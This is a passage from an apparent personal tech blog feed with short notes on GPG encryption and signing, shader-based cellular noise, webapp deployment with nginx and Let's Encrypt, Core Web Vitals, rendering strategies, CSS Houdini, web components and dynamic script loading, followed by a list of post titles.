UK4/XOiSQvsUs/Qe9yx0hF0nIVbla9jIB4F7tW6giTF+Li8HtDDg+wYXKpaxw7+j
lqpBWr1GhenjD5ccJc0=
=NfGw
-----END PGP MESSAGE-----

$ gpg --armor --decrypt titkos.txt.asc
[password]
hello

Sign something

# detached signature
$ gpg --armor --detach-sign titkos.txt
$ cat titkos.txt.asc
-----BEGIN PGP SIGNATURE-----

iQIzBAABCAAdFiEEBn6IbFA06MhrFc0nSZPwez6ujTgFAmHyfFEACgkQSZPwez6u
jTgBcA//WnTLaR5En3dj8HVTUHH3SyFoK6WxxzX7GSCURcVM8vvvC9ofud1jGczK
jECrylm5CyKCh5XTRdy6hUq+2ZdUVIN/zJT3qZMK9JIZPnBOXBrH1lBs7+6ix/Ub
dyqG2hbkPSULMuU3b0SkVm9fLYxD4o3Blr89+2QJsmOIL2QadxCFS17l1oJC0/cF
hJbfRlohYakhY9qtSpgzYaHun0W9UzAhKLhCTiJ0otlX0ufv5fQ0vc7mv/if6PKS
LGMkFnIDiKaPhiNrPcgP80XuRgOvGgCGlyykYwKz3vfxA0immT42kf04KLrrDmIs
MYSrRJT7z+mywexFVdM7msy70VCWRN8dx6dx3SWYK323yEpBy/1Wh6efUxvXTBh6
wyE0zn9bsjRGpKBxvEQKto+KCijVPelsVIcxA6T349pvFDjV/FuzzCJcSvWSprJ2
vYJMhP9nhjCd1I41WGgDYrF5YMOkbxe+HppzQY7TJ0mqJUMAA7AQnAZ+zWnlJAqT
XAIUi/mOJlGyHr6OpypYWQeJ86UQWX3OB3x9et8CaBGuk+c549jwz0HGhqe1WyOr
isMgDiThh1tHxKkGMgpfOl5Fv3wPpGHaxv9wYL2Fvg87knQtVOGhaXy7alhndPXY
wd3sZRyFg+v/UvqkFmd/Pr4jY7niOKC5zNb+AS2Gv6gY4woqEmI=
=F1qO
-----END PGP SIGNATURE-----
$ gpg --verify titkos.txt.asc
gpg: assuming signed data in 'titkos.txt'
gpg: Signature made Thu 27 Jan 2022 12:04:49 PM CET
gpg:                using RSA key 067E886C5034E8C86B15CD274993F07B3EAE8D38
gpg: checking the trustdb
gpg: marginals needed: 3  completes needed: 1  trust model: classic
gpg: depth: 0  valid:   5  signed:   1  trust: 0-, 0q, 0n, 0m, 0f, 5u
gpg: depth: 1  valid:   1  signed:   0  trust: 0-, 0q, 0n, 0m, 1f, 0u
gpg: next trustdb check due at 2033-06-14
gpg: Good signature from "Gyuri Hork <dyuri@horak.hu>" [ultimate]
gpg:                 aka "Gyuri Hork <gyuri@horak.hu>" [ultimate]

Use cases

email (sign + encrypt)
file/disk encryption
password manager
signing documents, git changesets (*)

Cellular noise

Thu, 17 Jun 2021 00:00:00 +0000

Random points

true randomness is hard
pseudo random number generators usually don’t have even distribution
- or “slow”
- or cannot be used in a parallel way
OpenGL does not have random API (reasons above)

And in most cases higher “entropy” is more pleasant to the eyes.

“Solution”: cellular noise

divide the space into cells
pick one random point in each cell
profit - can be processed in a parallel way very efficiently

Classic, canvas based example using the CSS Paint API.

Classic (canvas) vs. shader approach

Classic:

set pixel colors, draw lines / arcs, fill them
more pixels/shapes to draw => more time required
hard to do in a parallel way

Shader:

you get all the pixels (on a vertex), you have to determine the color of each
more complex graphics => more time, BUT you need to set the color of all the pixels anyway
very easy to do in a parallel way

Live demo

Deploying a webapp

Thu, 03 Jun 2021 00:00:00 +0000

Backend

app to the server
- scp
- git
- maven/npm/pip/whatever
start it
- prefer using a “webapp container” like tomcat or gunicorn
- on a “high” port like 5000, 8000, 8080
make it start on reboot
- systemd
- supervisord/pm2
- …

or use containers

For example dockerize it.

Frontend

typically static files (HTML, CSS, JS)
move them to the server (see above)
serve them with a static webserver (nginx)

Nginx

static webserver
- can server your frontend files
reverse proxy
- can proxy https (or http) traffic to your backend
TLS SNI (server name indication) support (multiple SSL certificates per IP)
HTTP/2
- HTTP/3 / QUIC support in preview

… any other load balancer / reverse proxy can be used in clouds

Firewall

open ports 80 & 443 (+ any other required)

DNS

Point the domain name to the IP address.

A record - direct domain - ip assignment
CNAME - “alias” - domain name alias - domain name assignment
- for example create CNAME for www (www.foobar.com => foobar.com)

SSL certificates

use certbot to get a free Let’s Encrypt certificate
- certbot-nginx (or something similar) can also modify your nginx configuration
redirect HTTP to HTTPS
use HSTS, if possible
add certbot renew to the crontab (or use a systemd timer)

Core Web Vitals

Tue, 27 Apr 2021 00:00:00 +0000

Google: “page experience” will be (June 2021) part of search ranking

What

LCP: Largest Contentful Paint
FID: First Input Delay (RUM only)
CLS: Cumulative Layout Shift

Other (also important) metrics, abbreviations:

TTFB: Time To First Byte - request sent => the first byte arrives (basically backend)
FP: First Paint - anything rendered (except background color)
FCP: First Contentful Paint - something that is “contentful” is rendered
- has visible text
- image, canvas, video
- input w/ non-empty value
TTI: Time To Interactive - page is loaded, event handlers registered, reacts within 50ms
TBP: Total Blocking Time - FCP => TTI (main thread is blocked by initializing scripts)
Lab metrics: you can measure them via tools
RUM: Real User Metrics - you cannot measure them via tools :)
- available through CrUX (Chrome User Experience Report)

LCP

Like FCP, but not for the first, but the largest (“most interesting”) element in the page.

FID

Time between interaction (click) and response (navigation, xhr, overlay opening, whatever). Basically the time the event listeners take to run.

CLS

Visual stability of the page. When the page “jumps” it’s bad UX - late loading ads, jumpy menus/dropdowns, … and it’s measured throughout the life of the page.

RUM

Real user metrics means that the website will be measured by its real visitors using various hardware (mobile, desktop, tv, refrigerator, …), software (basically just Chrome, but different versions on various OS-es) and network connection (from fiber to 2G mobile).

LCP is most probably network related, FID depends on the CPU, and CLS might be affected by ad blockers and user behavior.

Rendering content to HTML

Wed, 03 Mar 2021 00:00:00 +0000

offline/static
online/dynamic

Offline

Somebody or something generates the raw HTML “offline”, long before the request, then the generated HTML is served via a static webserver (nginx, apache, …) or CDN.

How to create?

via text editor
static site generators

Jamstack is quite trendy nowadays.

Pros/cons

quick as hell - markup is immediately available for the browser
eco friendly - minimal power consumption during serving
every visitor gets the same content
changing anything might require lot of work (for you or for the site generator)

Online

The HTML content is generated when the visitor requests it.

Classic backend rendering

The more classic solution, something running on the backend side generates HTML for the visitor. CGI-BIN, PHP, Java servlet (JSP), etc.

It’s most probably some kind of fancy string concatenation, but that’s OK.

Pros/Cons

different visitors might get different content
serving dynamically generated content is much slower than static one (even using extensive caching)
once generated and served, the markup is immediately available for the browser to parse / render

Frontend rendering

A skeleton website and a heavy JS application is served initially, which then renders the HTML content using API calls.

SPAs / PWAs.

Pros/Cons

markup is generated in the browser
very quick in-site navigation
- API call only for the data
- even DOM elements can be reused (vDOM, other smart tricks)
first load can be very slow
- partial bundling
- service workers, extensive frontend caching

Mix them as you need

But carefully, you can speed things up but also slow them down, there’s no ultimate solution.

Example scenarios (notes)

#1 SPA backend render

React SPA takes too much time to load for the first time
move rendering to dynamic backend using nodejs without changing much
performance gets even worse
?
- React uses vDOM for rendering, it might help in the browser, but has no benefit - and slower than simple template rendering - on the backend
- backend performs the same API calls - they might take less time, but still
- the application still needs to get to the frontend - the rendered HTML w/o the JS app will do nothing (it can be displayed earlier, but in a dummy state)

#2 pre-rendered webshop

static pages are generated via CMS content
customer (cart, ordering) related stuff are handled via lightweight JS app + API calls

Web components

Currently web components don’t have a declarative API (in progress though), you need JS running in the browser to make them work, and even have the shadow DOM filled with something, so they cannot be rendered directly in the backend.

This is why we don’t use “pure” web components in FreshKick, but fd-widgets that might have something in their “normal” DOM, styled via classic CSS, and rendered on the backend via Soy. If they don’t need to be rendered in the backend, they can use shadow DOM and all it’s fancy things too.

Container Queries

Mon, 08 Feb 2021 00:00:00 +0000

The problem

Currently we have media queries, but in most cases widgets have not the full width of the viewport.

Partial solutions

Flexbox and grid layouts support some kind of inner responsiveness.

grid
flexbox

`ResizeObserver` to the rescue

For more complex scenarios we have to use JavaScript currently. There are a lot of container query libraries, most of them overcomplicated to my taste. (One of the reasons why it is not yet in CSS.)

ResizeObserver

Update - container queries have been arrived meanwhile!

CSS Painting API

Fri, 15 Jan 2021 00:00:00 +0000

One of the new CSS Houdini APIs:

CSS Parser API - possibility to implement sass/less/etc support
CSS Properties and Values API - more advanced CSS properties (variables)
CSS Typed OM - CSS values as typed JS objects
CSS Layout API - create custom layouts (like grid or flexbox)
CSS Painting API - draw something in CSS

Concept

Allows developers to create custom functions for paint() to draw images for CSS (where they can be used, like backgrounds, border images, …).

Usage

define a paint worklet using registerPaint()
register the worklet
use it in your CSS

Demo

See demo.html

WebComponents

Mon, 30 Nov 2020 00:00:00 +0000

reusable custom elements
framework independent
standardized

Custom Elements

JS API to define custom HTML elements.

Shadow DOM

JS API to attach encapsulated “shadow” DOM to an element, which will be “separated” from the main document. This way the elements styles, events, “shadow” children could be kept “private”, and won’t collide with the main document’s styles, etc.

HTML templates

<template> and <slot> elements

Basic approach

create a class for the web component, inherit from HTMLElement (or descendants) for best result
register your element using CustomElementRegistry.define()
attach a shadow DOM if required using Element.attachShadow()
you can use <template> and <slot> for the content
use your new element wherever you like as any regular HTML element

Support

Almost all the browsers support them. (Even IE11 w/ polyfill.)

Almost all modern framework could handle web components as they were standard HTML elements, and lot of them are capable of exporting their own components as standard web compononents.

https://custom-elements-everywhere.com/

What’s next?

scoped custom element registry - to avoid name collisions
constructable stylesheets - attach/manipulate styles to a (shadow) DOM tree more easily
CSS modules - import CSS into JS modules
Shadow Parts - expose parts of the shadow DOM to the parent DOM tree az pseudo-elements
Declarative Shadow DOM - fill the shadow DOM from a template w/o using any JS

Demo

Loading JS

Thu, 12 Nov 2020 00:00:00 +0000

How can we load JavaScript code into a website?

Different ways of static inclusion

( (CC) whatwg.org )

Loading JS from JS

Classic way (works everywhere)

function loadJS(src, cb) {
  const script = document.createElement("script");
  script.src = src;
  script.onload = cb;
  // script.async, script.defer, ... could be set here as well
  document.head.appendChild(script);
}

loadJS("/js/foobar.js", () => console.log("foobar loaded"));

Adding async/await

const loadScript = async src => {
  return new Promise(resolve => {
    // loadJS from above, I don't want to copy it
    loadJS(src, () => resolve());
  });
};

// ! from an async context
await loadScript("/js/foobar.js");
console.log("foobar loaded");

Modules

Modules can be loaded only from othen modules.

import { whatever } from "foobar.js"; // cannot use variables here, and should be in the root context

whatever("hello");

Dynamic import

const { whatever } = await import("foobar.js"); // variables can be used

whatever("hello");

Loading CSS

Basically the same way:

function loadCSS(path, cb) {
  const link = document.createElement("link");
  link.href = path;
  link.type = "text/css";
  link.rel = "stylesheet";
  link.onload(cb);
  
  document.head.appendChild(link);
}

loadCSS("/css/whatever.css");

…from CSS

@import "./whatever.css";

Posts on Gyuri Horák

Meshtastic

What is LoRa?

Meshtastic

The basics of Meshtastic

Devices

How it works

Flooding

Encryption

MQTT bridge

My own setup

The Hungarian community

OK, but what is all this actually good for?

Garmin report - 2025

Agentic Coding - AI, as a software developer

The project

The tech stack

Agentic coding experiment

First experiences

Let’s move on

Docker

GPX upload mini tool

Claude

MCP servers

Rough refactor

Tools, models

Models

Gemini 2.5 pro and flash (Google)

GPT-4.1 and GPT-5 (OpenAI)

Claude Sonnet-4 (Anthropic)

Agents

My workflow

Summary

Short introduction to filesystems

Etymology

FS related terms

Filename

Directory

File metadata

Storage space organization

Access control

Quotas

Data integrity

Filesystem types

Example 1: ext2/ext3/ext4

Ext2 structure

Example 2: ZFS

ZFS features

Jujutsu VCS - short introduction

Design

The jj command

Basic workflow (that I use)

Nice log

… and much more …

About running

Running

What do you need to start

You

A pair of shoes

Extras

Clothes

Flask

Tracking/navigation

Health tracking

Belt, backpack

Headlight

Snow chains

Running poles

“Life-saving” foil

Band-aid

Sword, gun, and other weapons

Refreshment

Short - < 10 km/1 hour

Medium - up to half marathon

Long - well over half marathon

Races, hiking tours

Summary

Garmin RepaField

What’s included?

How?

The `jj` command

`bash`

`.bashrc`

`stdin`/`stdout`/`stderr`

`man` - manual

`sudo`/`su`

`ls`

`ln` - filesystem link

`file` - file info

`cat`

`wc`

`grep`

`find`

`sed`